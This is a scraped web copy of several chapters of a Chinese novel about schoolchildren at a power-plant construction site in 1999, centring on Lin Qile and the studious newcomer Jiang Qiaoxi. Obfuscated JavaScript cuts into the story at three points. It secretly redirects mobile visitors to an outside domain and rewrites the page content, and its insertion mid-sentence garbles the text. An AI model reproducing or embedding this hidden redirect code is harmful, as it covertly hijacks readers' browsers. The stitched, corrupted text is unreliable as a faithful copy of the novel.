;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236585|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱乐部要放映香港电影《赌神》。林其乐想去看,可蒋峤西要在家学习。 “你不和杜尚他们去看电影啦?”妈妈问。 林其乐帮妈妈擦着盘子,摇头。 电建公司给工人们发放了新的劳保,其中有两箱可口可乐。林其乐拿起爸爸杀鱼用的胶皮大剪刀,费劲地剪开箱子,拿了两罐可乐抱进怀里,她又拿了余樵妈妈给的那筐炸虾片,就这么进了卧室。 蒋峤西正在林电工的书桌旁做题。他自己一个人时,从来都安静得出奇,连带周围的空气都压抑。 笔尖摩擦在纸面上,发出沙沙的轻响。书页时不时翻动过去了,翻书的是个爱惜书的人。 林其乐蹑手蹑脚进门,从他背后走过去,绕过了大衣柜,到自己的小床边坐下。 她先是打开衣柜门,搬出里头成卷的凉席,然后把凉席打开,铺到自己小床边的地板革上。林其乐站在凉席上想了一会儿,把可乐和虾片拿过来,依照野餐的样子摆放好。她又爬上小床,拉开窗帘,把窗台上那盆长势正好的万年青搬下来。 蒋峤西正在看书,忽然感觉自己身后站了个人。他手握着笔,一回头,看见林其乐正在背后一声不吭地盯着他看。 林其乐的眼睛贼大,这么猛地盯着人看,还怪吓人的。 “你干什么。”蒋峤西说。 林其乐也不说话,上来就要拽蒋峤西的手腕。 蒋峤西说:“你干什么,我要学习。” 林其乐说:“你过来学好不好,在哪儿学习都一样呀。你看,我有可乐,还有零食,还有绿色的植物。吃了炸虾片,做题也不会头疼了。你做一道题,抬起眼看看绿色的叶片,老师说对眼睛好,不会得近视眼——” 蒋峤西无奈道:“我真的要学习。” 林其乐说:“一个人学习有什么意思啊——” “你能不能别耍赖?”蒋峤西低头看她,“林其乐,你能不能站起来说话?” 余樵和杜尚几个人看《赌神》看了一半,实在无聊。工地上来来回回就是这么几部电影轮着放,《赌神》他们已经看得快背过了。 “林叔叔,”余樵站在林其乐家门外,透过纱窗门往里问,“林樱桃在不在家?” “在家,在家,”林电工正看电视上重播的《雍正王朝》,听见动静,他转头看见三个大小伙子在自家门口,“你们进屋里去找她吧。” 余樵推开了卧室门,直接往里面林其乐那小屋走。 杜尚从后面说:“放什么《赌神》啊,还不如放《泰坦尼克号》呢。” 蔡方元是最后一个进去的,他们三个男生挤在大衣柜旁边的过道里,目瞪口呆朝里面看。 林其乐就坐在地面铺的竹席子上,她两条腿贴着地,印着草莓印花的裙子搭下去。林其乐手捧一只蓝色的波比小精灵,正和它对话。 小精灵问:“你是谁呀?” “妈妈。”林其乐一字一顿教它。 “妈妈!”那小精灵马上用僵硬的尖细机械音回应道,“妈妈!妈妈!” 旁边放着喝空了的可乐罐,还有吃了一半的虾片筐。虾片筐下面垫了几张写满公式的演算纸,沾着油渍。 在更靠里面的竹席子上,还坐了个哥们儿。 蒋峤西正盘腿坐着,低头算题。他身边堆满了书,还有打开了的文具盒,仿佛是把一整个书桌都搬到林其乐这边儿来了。林其乐在一旁玩闹,蒋峤西学得专心,也不嫌她吵。 这会儿余樵几个进来,林其乐只顾和手里的玩具说话,一声招呼都不打。反倒是蒋峤西抬起眼来看他们:“你们来了?” 7. 第 7 章 蒋峤西是1999年9月6日转学到群山市的。九月末的一天,林其乐走在路上,看手里的漫画书。 漫画里,面对女主角琴子递过来的情书,男主角直树摆着一张臭脸,当众拒绝:“我不要!” 林其乐翻过一页往后看,下一页,果然所有的同学都在嘲笑琴子了:为什么要做这种事?太自不量力了,你明知道他不会理你的。 蔡方元走在林其乐身边,正和余樵、杜尚、蒋峤西绘声绘色描述关于千禧年世界末日的传言。他看了林其乐几眼,发现她看漫画看得正入迷。 “淘气小亲亲?”蔡方元凑上去,怪腔怪调地念书名,“你这看的什么黄书啊?” 林其乐合上漫画书,上去就殴打蔡方元的脑袋。 其实林其乐也觉得这个叫相原琴子的女主角傻傻的。对方明显不喜欢自己,为什么还要和他表白? 林其乐转头看了看四周: 余樵正叼着牛奶袋子,边走边看体育报纸,他一贯对林其乐和蔡方元之间的战争不感兴趣,对她也不大关心。 蔡方元,更别提了,动不动就说林其乐有毛病,是神经病,动不动就和她打架。 现在连杜尚也被蔡方元传染了。好几次,林其乐听见杜尚说“林其乐就是个泼妇”之类的话,真讨厌。 只有蒋峤西不会附和他们,也不被他们传染。上学路上,林其乐每次和蔡方元打完了架,回头时候,都发现蒋峤西抬头在瞧她,瞧她歪了的辫子,又或是被扯开的书包,瞧她气喘吁吁的脸。 这是在关心她吗?林其乐也不确定。 数学课上,林其乐也不再害怕上黑板做题了。她每次都悄悄回头,专往蒋峤西坐的方向看去。 余樵他们几个在后面瞎说答案,一个个坏笑着,要看林其乐的笑话。只有蒋峤西偶尔抬起头,发现林其乐摇着马尾辫可怜兮兮地看着他。 数学老师从旁边走过去了。蒋峤西装作在看窗外的桂花树,他用手指在窗户上写出了透明的答案。 如果林其乐要写情书给什么人,她只有唯一的人选。 临近十月,街头巷尾,人人脸上洋溢着一种期待与兴奋。新闻上说,国|务院刚刚制定了一个什么“国庆节假期”,全国人民都要放长假,一放就放七天,而且从今年开始,以后年年如此。 电建职工平日里工作忙,周末都没得过,一年到头除了过年,哪有闲时候。如今终于有了新假期,谁都高兴。 可林电工夫妻俩却没能得空休息。国庆七天,大家伙儿都想歇,工程却是一天不能停。假期第一天,工地就安排了林电工值班。林电工倒是想得开:辛苦日子过惯了,一要放假,还真不知道在家干什么,不如去值班呢。 再说了,他闺女樱桃在家,也不会孤单。 1999年10月1日,上午十点钟,林其乐、余樵、杜尚、蔡方元、蒋峤西五个小学生坐在林家的长沙发上,目瞪口呆看电视里直播的建国五十周年“世纪大阅兵”。 被称为“世纪大”,那自然不是寻常阅兵。播音员说,阅兵式现场有一万多名军人,数百台战车,阵容、规模堪称开国五十年来之最。 数余樵看得最投入了。他盯着屏幕里刚刚起飞的空军战斗机,咬紧嘴唇,眼睛都不眨一下。就算是蒋峤西、蔡方元这样见识多一点的,也对那些坦克车、洲际导弹惊叹连连。林其乐坐在一边,又看不懂,又怕落伍,只能撑着眼皮努力看。 杜尚在旁边一顿比划:“樱桃你看!那导弹这么大个儿!!” 林其乐实在理解不了这种兴奋。哇!好大一个铁皮导弹!看起来好可怕啊!她从沙发垫子缝里摸出她的《淘气小亲亲》,倚在沙发里,就着阅兵式昂扬的音乐,翻开了继续看。 到中午,飞行表演结束,阅兵式直播也就结束了,余樵还瞧着电视机屏幕,一副神情恍惚的样子。杜尚和蔡方元站起来都要走了,林其乐叫他:“哎,回家吃饭啦!” 余樵恍然回神,他看了林其乐一眼,大约是嫌她扫兴。他站起来,推门而去。 等到下午,他们又来了。余樵拿了一筐他妈妈炸好的虾片,被他在路上吃了不少,蔡方元提了一个旺旺大礼包,还拿了好几盒大大卷。 杜尚两手空空,什么都没拿,他吃虾片,嚼大大卷,喝林樱桃家的可乐。一群九岁小学生挤在大衣柜后面,每个人手上都拿着本什么,或坐或躺地看。 林其乐的《淘气小亲亲》,杜尚的《白马啸西风》,余樵的《体坛周报》,蔡方元的《大众软件》,蒋峤西的《奥数精讲》。 杜尚把手里的金庸小说一放,突然提议大家去市里玩跳舞机。蔡方元和林其乐第一个把他否定了。 蔡方元嫌累。林其乐则说,每次杜尚都一个人霸占着跳舞机,把H.O.T的歌从第一首跳到最后,根本不让别的人玩。 蒋峤西在演算纸上得出一个答案,正往书上填,他听见林其乐说:“要不咱们上山去吧!去看农民伯伯的大白鹅!” “看什么大白鹅,”蔡方元躺在地上,嘴里塞满了炸虾片,含混不清道,“有路吗?又没有!浪费时间!” 杜尚皱眉,也说:“没有桥,怎么去啊。” 蒋峤西看到林其乐扁了扁嘴。 “哎樱桃,”杜尚突然说,“让我们看看张奶奶送你的小白兔吧!” “不要。”林其乐说,埋头在漫画书里。 杜尚两条眉毛耷拉下来了:“为什么啊?” “我的小兔子太内向了!怕见生人!”林其乐气呼呼的,她感觉根本没有人支持她的大白鹅之旅。 余樵从旁边冷笑一声,低头看体育报:“给我看我都不看。” 等天黑了,吃过了晚饭,这一群人又来了。余樵奉命把他妈妈新做的一筐炸酥肉端到林其乐家来。蔡方元本来要在家打游戏,闻着酥肉的味儿也跟过来了。 林其乐爸妈晚上还去加班。杜尚从林爸爸的床头翻磁带,一盒一盒地看,想放点音乐来听。 余樵坐在客厅沙发上,拿着遥控器不停换台,想找阅兵重播,他对杜尚说:“林叔叔那有盘黑豹,放那个!” 杜尚才不爱听黑豹呢。他翻了一圈,走进林其乐小屋来:“樱桃,你H.O.T磁带放哪儿了?” 林其乐还坐地上专心研读《淘气小亲亲》。 她抬头看了一眼杜尚,想了想,又转过头。 蒋峤西还在她身边低头做题,他皱着眉头,嘴里喃喃低语的,不断算一些新的数字。 “你想听什么歌啊?”她问他。 蒋峤西正投入着,外面太吵,也就林其乐这里边还安静点儿。林其乐问第二遍的时候,蒋峤西才后知后觉抬起眼看她。 “什么?” “你想听什么歌?” “都行。”他说。 说完了低头继续演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236586|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算。 林其乐眨了眨眼,又问:“你都没有什么喜欢的歌星吗?” 杜尚在大衣柜旁边站着,这会儿也挺好奇地伸头往里边儿看。 从省城转学来到群山工地以后,蒋峤西每天的生活除了奥数就是奥数,除了做题就是做题,从没见他在人前表现出过任何嗜好。 “有。”蒋峤西轻轻捏着自动笔,抬起头说。 “谁啊?”就听林其乐和杜尚异口同声问他。 “Leonard Cohen。” 余樵在外头看阅兵,看得正入迷,就听小屋里林其乐和杜尚超大声地问:“谁?” 四个人全坐到蒋峤西面前,听蒋峤西复述了一遍那个名字:“莱昂纳德·科恩。” 林其乐和余樵面面相觑,又看蔡方元。他们“小四|人帮”里数蔡方元去过的城市最多,见多识广,可蔡方元也是一脸茫然。 “不认识。” “我也不认识。” 他们四个人纷纷摇头。 蒋峤西手头这道题是暂时算不完了。蒋峤西也看他们四个。 “其实我也不大认识。”他说。 林其乐问:“那你为什么喜欢他?” 蒋峤西说:“以前在堂哥家里听过他的歌。” 林其乐问蒋峤西,这个姓莱的人唱过什么歌。蒋峤西说了一句英文,林其乐眼睛睁大了,抿着嘴。 “省城的小学都要学英语吗?”林其乐问。 蒋峤西“嗯”了一声。 杜尚大剌剌躺在林其乐父母的大床上,闭着眼睛,听录音机外放的张惠妹的歌。 一想到你,就让我快乐。张惠妹唱着。 像妈妈轻柔的歌唱。像爸爸终年的奔忙。 林电工加了一天班,到夜里九点多才风尘仆仆地回来了。工地上的人都放假,他一个人值班,自然忙起来没完。 卧室小门虚掩着,估计孩子们还在里面。林电工靠近了门边,还没推开门,就听见余樵在里面说话。 “我今天琢磨着,”余樵的两个手肘撑在膝盖上,他盘着腿坐,沉思片刻,一字一顿说,“我以后要去当空军飞行员!” 林其乐一愣:“你上次还说去打篮球,现在又要当飞行员——” “好好看阅兵了吗,”余樵嫌弃林其乐道,“就知道看你那漫画!” 蔡方元倚靠在一边,微微出神了。半晌他说:“我长大想去香港,等我赚了好多好多钱就去。” 林其乐在旁边傻看他们。 “我想,我想当医生,”杜尚等其他人安静下来才说,他掰开最后一块仙贝,自己吃了半块,“我早就想好了!” 余樵在背后一拍他,把他手里另半块仙贝拿过来塞嘴里:“空军正好有医院。” 杜尚一扁嘴:“那我不去,军队太可怕了,走道儿都得一样的,我可走不成那样——” 林妈妈从余樵家打完了毛线,端着毛衣筐子回来,她推开卧室门:“余樵啊,你妈叫你回家帮你奶奶重新支一下蚊帐。” 余樵听见了,站起来就走,体育报纸也搁林其乐家不拿了。 杜尚和蔡方元也各自回家去,临走和叔叔阿姨道再见。林其乐站在自家门外,把他们送走,又看蒋峤西拿着他那本奥数书和几张没写完的演算纸,走到隔壁家门口。 “蒋峤西,”林其乐突然问他,“你长大以后想做什么呀?” 8. 第 8 章 “蒋峤西,你长大以后想做什么?” 林其乐问他。 不仅夜里问,到了白天还要继续追问,蒋峤西不肯说。 “是什么啊,就不能告诉我……”林其乐嘟囔。 蒋峤西被她追问得烦了,只好回了一句:“说了你也不懂。” 明明都一样上四年级,都是少先队员,什么叫“说了你也不懂”。 林其乐心里这样想,越发地郁闷了。她郁闷地吃虾片,吃得咔嚓咔嚓,咯吱咯吱;她郁闷地揪波比小精灵淡蓝色的头发,郁闷地仰躺在竹席上,睁大眼睛瞪天花板,又瞪坐在一边若无其事学习的蒋峤西。 吃过了晚饭,蒋峤西又来林其乐身边低头写题。 林其乐保持这样仰躺的姿势,从下往上不自觉瞥他的脸。 蒋峤西的眼睫毛长又卷翘,低头的时候,把眼眸遮住一半。蒋峤西的嘴唇有点薄,可能是因为天生肤色太苍白,他的嘴唇呈现一种极浅嫩的,花瓣样的红。 蒋峤西写题的时候不仅笔在动,嘴唇也时不时开合,在无声地计算什么。蒋峤西在演算纸和书页中间来回检查,他的睫毛一会儿抬一抬,一会儿又落下去。 蒋峤西忽然抬起眼,他那双黑眼珠里映的全是林其乐惊呆了的脸。 林其乐就保持这种惊呆的神情,在竹席子上僵硬地翻了个身,把圆脸挤到下面去了。 国庆假期很快结束。一回到学校,木芙蓉全开花了。杜尚打着哈欠和同学一起朗读课文《火烧云》,他歪过头,发现林其乐眼睛直勾勾瞧着语文课本,也不跟着念,就不停咽口水。 杜尚凑过去看了一眼,原来林其乐手中翻开的课文根本不是《火烧云》,是《我爱故乡的杨梅》。 语文老师非常生气:“林其乐同学!不仅假期作业没做完,开学了连语文课本都能带错!” 林其乐站起来挨批评。秦野云坐她背后嗤笑,结果也被语文老师叫起来了。 “秦野云,还笑!你的作业呢?你说你们俩这对难姊难妹!” 杜尚问,你今天晚上还和蒋峤西回去玩过家家啊? 林其乐背着书包放学,走在几个小伙伴中间。她低头捏从蔡方元手里抢来的电子鸡,那几个按键快被她捏坏了,可电子鸡也没有太大变化。 杜尚苦口婆心地劝:“樱桃,你就别成天耽误人家蒋峤西学习了——” 林其乐说:“我没耽误他的学习。” 杜尚说:“怎么可能不耽误,你整天在他旁边玩,他怎么可能专心做题?” 林其乐回头看了蒋峤西一眼,发现蒋峤西走在后面,也正看她。 林其乐转过身去,继续低头捏电子鸡。 等到了工人俱乐部门口,林其乐把电子鸡还给蔡方元,就和他们分开了。 只有蒋峤西跟在林其乐身后,沿同一条路,往他们两个的家走。 林电工早早骑自行车下班回来,说:“峤西啊,你爸爸去市里邮政局了!” 林其乐感觉蒋峤西的步子忽然停下了。 “我没看清楚包裹单上写的是什么,”林电工笑道,“好像是从香港转寄来的邮包,寄给你的。” 蒋政蒋经理夜间七点才回来,他去了一趟市里,不仅叫司机搬了邮政局的包裹,还买了些新鲜水果,让蒋峤西给群山工地的学生家长们送去。他这个孩子他平时不太关心,都是托工地上的工友帮忙照顾。 林其乐站在家门口,怀抱着好大一挂广西大香蕉。林其乐先抬头,甜甜道:“谢谢蒋叔叔!” 又偷偷问蒋峤西:“谁给你寄的呀?” 蒋峤西平日里再怎么矜持冷静,再怎么装作大人样的不说话,这会儿也按捺不住欣喜。他眼睛都在发光:“我堂哥。” 林其乐从没见过他这么高兴:“他给你寄的什么?” 蒋峤西回答:“书,教材。” 林其乐本以为会是什么零食、玩具。毕竟是从香港寄来,多新鲜啊。 她的眉毛失望地耷拉下来。 蒋峤西的堂兄给他捎带了一封信,说第一次寄书去内陆的群山市,不知会不会顺利,如果顺利,以后每个月他都会从香港给峤西寄新的书和资料:“希望你在那边好好学习,把握好自己的未来!” 林其乐坐在竹席子上,挨在蒋峤西身边。那些从香港寄来的英文教材林其乐也看不懂,这封简短的繁体字写的信她还能看明白。 “你堂哥大你几岁?”林其乐问。 蒋峤西说:“十六岁。” 林其乐愣了。大十六岁?那不应该叫“叔叔”吗? “他二十五岁了?”林其乐算道。 蒋峤西说:“我哥大我十四岁。堂哥原本是他的堂哥,后来才是我的堂哥。” 林其乐眨眨眼睛,不再问了。 妈妈端了一盘橘子和切好的苹果进来:“寄了这么多东西来啊?” 蒋峤西从地上站起来了,忙说:“不好意思,阿姨,我收拾一下。” 妈妈说:“樱桃,快把你的漫画书收起来,好让峤西的书有个地方放,不然你们怎么学习啊?” 学习,学习。在大人眼里,仿佛小孩子每天要做的事就只有学习。 十月末,林其乐走在上学路上,看到身边许多大人都在对着报纸唉声叹气。 中国股市还在暴跌,从七月份到现在,三个月了,不见任何起色。 林其乐不明白“股市”这个词代表什么,她只在电视上看过那一条条红的绿的线,画在黑色的布上,大人们会因为它的阴晴莫测,不断变幻着脸色。 “樱桃!”有一回蔡叔叔来林其乐家吃饭,指着电视上的财经节目,“你给叔叔推荐一支股票买买!” 林樱桃坐在大人腿上吃煮毛豆,她既看不懂电视节目,也听不懂大人说的话。林樱桃看了一会儿电视上滚屏走过的密密麻麻的股票名称。 “泰山旅游!”她忽然说,伸手指道。 “什么?”蔡叔叔又确认了一遍,“泰山旅游?” 余叔叔在旁边手剥花生,说:“你不能光叫人买,对吧,你得说出是为什么买!” 林樱桃说不出来,大人逗小孩,无非就是那么回事,就要听小孩说傻头傻脑的昏话。 林樱桃剥毛豆:“我去过泰山,泰山可好看了!人又多!” 林其乐如今凑到了报刊亭前,踮起脚伸着头往财经版面上看。群山工地附近就这么一家报刊亭,来来往往都是工人,是爸爸的同事。那老板瞧见了她,笑道:“樱桃,怎么着,你还炒股啊?” 林其乐抬头说:“叔叔,‘泰山旅游’涨了吗?” 她这么问,煞有介事,逗得周围大人都笑。还真有人翻开报纸特地帮她瞧了一眼:“跌啦!这些个破股,就没有不跌的!” 林其乐离开报刊亭,难掩沮丧地背着小书包回到她的朋友们中间。 课间的时候,蒋峤西还听到她在身边嘟囔:“蔡叔叔这么喜欢钱,我不会真的害他赔钱了吧……” 并不是每个人都能听到林其乐小小声的不开心。杜尚在教室里继续看《白马啸西风》,他似乎已经放弃了对龟派气功的学习,转而开始加紧研究金庸武学中的内功心法。余樵则和班里的男生们打起了赌:甲A联赛即将进入下一轮,余樵的国足偶像——辽宁前锋曲圣卿,已经在前23轮打入16粒进球。 问鼎这一年的最佳射手几乎没有悬念。 余樵因为身高优势,总被女班长拉扯到讲台上去擦黑板。余樵一边擦,一边和门外爱踢球儿的隔壁班男生们讲,辽宁抚顺今年一定是足球联赛冠军,如果不是,他余樵明年再买一年《体坛周报》免费给大家看! 蔡方元从前面座位回过头来,玩着电子鸡,和蒋峤西、林其乐压低声音讲:“余樵这回再赌输,他就该买到毕业了。” “为什么?”林其乐问。 蔡方元说:“欧冠他就输了一回了,我跟你说,余樵今年特倒霉,不知道为什么。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13236587|139476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余樵这一年的运气确实不好。1999年12月5日,中国甲A联赛进入最后一轮,山东鲁能泰山队主场 5:0 战胜了武汉,辽宁抚顺与北京国安打成平局。 最终,鲁能泰山以1分优势夺得了联赛冠军。 余樵不太服气,说鲁能能赢,全凭运气。可一周之后,足协杯决赛第二回合,鲁能泰山又以4:3力克大连万达实德,一举拿下了足协杯冠军。 余樵的心情可坏透了。但除了他以外,几乎所有的人,所有体育频道的解说员,所有群山工地的老中青球迷都在欢呼中国足球史上的第一个“双冠王”——山东鲁能泰山队,就这么诞生了。 “人说,这叫‘国足神话’!”余班长还在饭桌上对鲁能泰山的表现大加赞赏,面对自己儿子不咸不淡闷头吃饭的消极态度,转而对还不怎么识字的小外甥余锦一顿感慨,“还是人家桑特拉奇教得好!会用人。找的那个外援,小老外,踢的很好啊!是不是!三个球啊!” 余锦捧着饭碗,一脸茫然,又有点儿害怕,只得对大舅点头。 到了周末,蔡方元的爸爸甚至还搞到一只鲁能队射手宿茂臻以及教练桑特拉奇签名的足球,美滋滋地珍藏在柜子里,把林电工、余班长等一干老工友全请来品鉴观赏。 99年底,中能电厂小学开始了本学年第一次的期末考试。蔡方元痛心疾首,抓耳挠腮:“马上就世界末日了,居然还期末考试!” 学校不允许学生提前逃难,无论是谁,都必须坐在教室里老老实实把卷子写完。 蒋峤西,这位入学成绩只有十分,据说是靠“走关系”才破格转入电厂小学四年级的插班生,本次期末考试,他居然拿到了建校以来第一个“四冠王”。一共四门考试,他拿了四个满分。“哎呀,比鲁能还牛啊!”班主任这样赞叹道。 那天放学,林其乐风风火火跑回了家,她隔着老远就激动地大喊:“爸爸,我们出成绩啦!” 林电工一听她这么大动静,也满怀期待了,问:“考得怎么样啊?” 林其乐跑到他面前:“蒋峤西考了四个一百,老师说他是‘四冠王’!” 林电工愣了愣,哑然失笑:“好好……”他又问:“那你考了多少啊?” 余樵四个人正巧背着书包,从林家门口经过。余樵自己不高兴,也成心不让林其乐高兴,他扯大了嗓门喊:“林叔叔,林其乐也考了一百!” 林电工问:“真的啊?” 余樵说:“四门加起来一百多点儿!” 在蔡方元的捧腹大笑声中,林其乐背着书包,冲出家门就杀将过来。余樵跑得可比她快多了,在偌大一个群山工地家属院,又是下班时间,路上处处是叔叔阿姨,是骑着自行车赶去食堂吃饭的职工。余樵在其间风一样地穿梭,林其乐在后面拼命死追。 她气喘吁吁,就是追不到他,打不着他。林其乐好胜心又强,不肯服输。 许多大人停下自行车来,逗林其乐:“樱桃,赶紧的,拿砖头块儿砸他!” 也有大人说:“余樵!你小子好意思跑那么快!” 蒋峤西走过了林其乐家门前,到了路口。他看到就在一条街对过,余樵停下来了,好像故意放水。 林其乐走过去,在余樵肚子上重重捣了一拳。 蔡方元在耳边问:“你什么时候回省城?” 蒋峤西说:“我不知道。” 蔡方元无聊道:“我今年寒假也到省城去,我妈让我跟你上同一个补习班。” 蒋峤西听了,点点头。 “到时候你可得教教我,”蔡方元愁眉苦脸的,哀求道,“我哪知道省城那边学什么啊?” “只有你去?”蒋峤西问,“他们不去吗。” 林其乐打完了余樵,还要听余樵假模假式地说一句“真疼”,才算结束。她背好书包和余樵往回走,远远看到蒋峤西和蔡方元就站在路口等他们。 林其乐忽然就笑了:“蒋峤西!” 9. 第 9 章 林其乐很喜欢念“蒋峤西”这三个字。从早念到晚,从上学念到放学,从日出念到月落,从初秋念到深冬。一转眼,1999年要结束了,蒋峤西往家的方向走,他听到和余樵打完了架的林其乐追在他身后,还喊“蒋峤西”这三个字。 最初他并不明白:这三个字到底有什么好喊的? 林其乐却好像很喜欢。 玩过家家的时候,她嘴里嘀嘀咕咕,对着波比小精灵念这个名字。没有小精灵的时候,林其乐就在蒋峤西身边对空气念这个名字。 林爸爸和周围叔叔阿姨都笑话她了,林其乐也不觉得羞。下次见了蒋峤西,她还要这样念。 蒋峤西有一次偶然发现,“西”这个字在林其乐口中念出来,是一个很清脆的笑音,连林其乐说话的口型也是一个笑的表情。 林其乐每次念这个名字,总让人感觉她是在笑的。念得越多,她笑得越开心。 蒋峤西走进林电工家里,他好像已经是这家人的儿子了。林电工先是夸了几句蒋峤西考了“四冠王”的事,然后问他:“你爸爸说放假几号回省城了吗?” 蒋峤西说:“还没有。”林其乐紧跟着进了门,听了这话,愣愣地看他们。 蒋峤西进后院喂兔子去了。隔着一扇纱窗门,他听见屋里传来林其乐隐隐约约的抽泣声。 “峤西放寒假,回省城过年,等到开学,他还会再回来的。”林叔叔说。 “上次你们也是这样说的,”林其乐哭得断断续续,声音很委屈,“陈明昊、明昊哥哥去了省城,就不回来了……” “樱桃,”妈妈在旁边小声安慰她,“别哭了,人家峤西要听见了。不是还有别的小朋友在工地上吗,余樵他们不是还没转走吗。” 林其乐哭得更厉害了:“余樵、余樵也会转走的……” 林电工说:“有小朋友转走,也会有新的小朋友转过来,好不好,不哭了。” 不知林其乐是被这么简简单单一句话就安慰住了,还是别的什么原因,她很快就抹干净脸不哭了。蒋峤西帮她喂完了兔子,洗干净手,和她坐在一块儿吃饭。 吃完饭,林其乐去小床上睡午觉。蒋峤西走进她的小卧室里,在床旁边,过道铺的竹席子上坐下,低头继续写他的奥数题目。 大衣柜外面,林电工夫妻也睡了。 这天中午,家里静得出奇。 只有蒋峤西的笔尖,在演算纸上发出轻而持久的摩擦音。只有林其乐哭过以后,睡觉时轻轻的呼吸声。 如果这时候林其乐起床了,看到蒋峤西在旁边干什么,她八成会以为蒋峤西又在计算什么复杂难解的题目。可只有蒋峤西知道,他只是在写一些毫无意义的数字。 暖气热得很。林其乐睡醒了,穿着小兔子样的棉拖鞋走出去喝水,她端着一盘水果,回到蒋峤西身边坐下了。 “你写了一中午题?”林其乐睡眼惺忪问他,看他的演算纸。 “你期末考了多少分。”蒋峤西说。 林其乐一双眼睛本来就大,哭过以后眼眶发红,更让人不由自主只能看她的眼睛。 林其乐摇了摇头,马尾辫在肩膀上蹭了蹭。一看就考得不好。 “那你放学怎么还那么高兴。”蒋峤西说。 林其乐低下头,把水果盘子里一小串香蕉翻过来放,从“坐着”的香蕉,变成“趴着”的香蕉。 “你看,这样它们就不会屁股痛了。”林其乐对蒋峤西说。 可蒋峤西还盯着林其乐的脸。 第一次岔开话题的尝试失败。 “杜尚说我耽误你的学习。”林其乐只好老实说。又问:“咱们下午去蔡方元家玩《仙剑》吧?” “那你吃饭之前哭什么。”蒋峤西说。 林其乐第二次岔开话题的尝试还没开始,就面临了危机。 林其乐从她的小床底下用力拉出了一只很大很大的铁盒子。 “蒋峤西,如果你也要搬走了,”林其乐掀开盒盖,把里面的东西给他看,她并没有哭,“你也送给我一样东西吧。” 盒子里没有别的什么,就是些乱七八糟的小杂物、画片,看着像没有人要的破烂儿。 “这一张米老鼠的书签,是陈明昊哥哥给我的。”林其乐坐在床边,把大盒子抱在怀里,她捻起一片薄薄发黄的透明塑料书签,给蒋峤西看,似乎是什么奇珍。 她又在铁盒子里翻翻找找:“这个花仙子的头花,是郑晓晨姐姐送给我的。你可能会认识她,她也搬到省城去上学了……” 林其乐从小跟在父母身边,在不同城市的工地之间颠沛流离。火电厂在全中国的版图上一座座拔地而起,每当完成了新电厂的建设,所有电建职工就会举家迁离,奔往下一个亟待开荒的地域。 林其乐习惯了搬家,每次搬家总会弄丢很多东西,不仅仅是随身的玩具、书本,还有一起念书的朋友、住得很近的邻居叔叔阿姨…… 她和蒋峤西只认识了半年,但对林其乐来说,这其实已经足够长了。林其乐习惯用最大的热情去结识每一个新朋友、新邻居。 “蒋峤西,你会搬走吗。”她问。 蒋峤西说:“会。” 林其乐眼睛睁大了,可能她还不是很能面对:“你什么时候搬走?” 蒋峤西说:“长大以后。” 林其乐一下子愣了:“什么意思?” 她的卧室很小,六个平米不到。两人并肩坐在一起,蒋峤西说句话,林其乐都仿佛能感觉到一股很轻的气流,在自己脸颊边擦过。 蒋峤西说:“你上次不是问我,将来打算做什么吗。” 林其乐点头。 “我将来打算去美国,”蒋峤西坐在这个极其闭塞的地方,用一种与他的年龄并不相符的语气告诉林其乐,“然后再也不会回来。” 美国。林其乐被这个词吓了一大跳。 她原本以为,蒋峤西说的是从群山这个小地方搬回省城去。 “是……”她一时陷入茫然了,“是轰炸了我们南什么……南什么的那个美国吗?” “是。”蒋峤西点头了。 林其乐用她那双樱桃似的大眼盯着蒋峤西看。 “我听说美国人都很坏。”林其乐说。 蒋峤西笑了。 “你笑什么。”林其乐说。 “你说谁不坏?”蒋峤西说。 林其乐被他这句话又吓了一大跳。 蒋峤西低头看了一眼林其乐怀里抱的那个寒酸的大铁盒子,有那么一瞬间,他感觉林其乐确实只是一个长在小地方的,没什么见识的小女孩。 当然她很可爱,她有一对乖顺的小白兔,她说话的声音也很好听,两根马尾辫总是晃来晃去的,让人想要看她生气。她身边围了一群男生,但她似乎并不清楚,为什么他们喜欢和她在一起玩。 “你想要什么,”蒋峤西许下了他的诺言,对林其乐说,“将来我走之前,一定送给你。” 吃过了晚饭,群山工地宿舍的大人小孩都出门娱乐。蒋峤西坐在工人俱乐部前的台阶上,和余樵、蔡方元在一块儿说话。 林其乐则被杜尚拉到草坪里,去陪杜尚“切磋武艺”。 林其乐总有心事,她一边心不在焉应付着杜尚的“六脉神剑”,一边借着工地上的路灯,朝远处台阶上坐着的蒋峤西看。 “杜尚,”林其乐开口问,“你知道美国在哪里吗?” 杜尚正稳扎马步,在体内积攒内力,打算一举攻破林其乐的“左右互搏之术”。林其乐问他问题,他一走神,内力便散了。 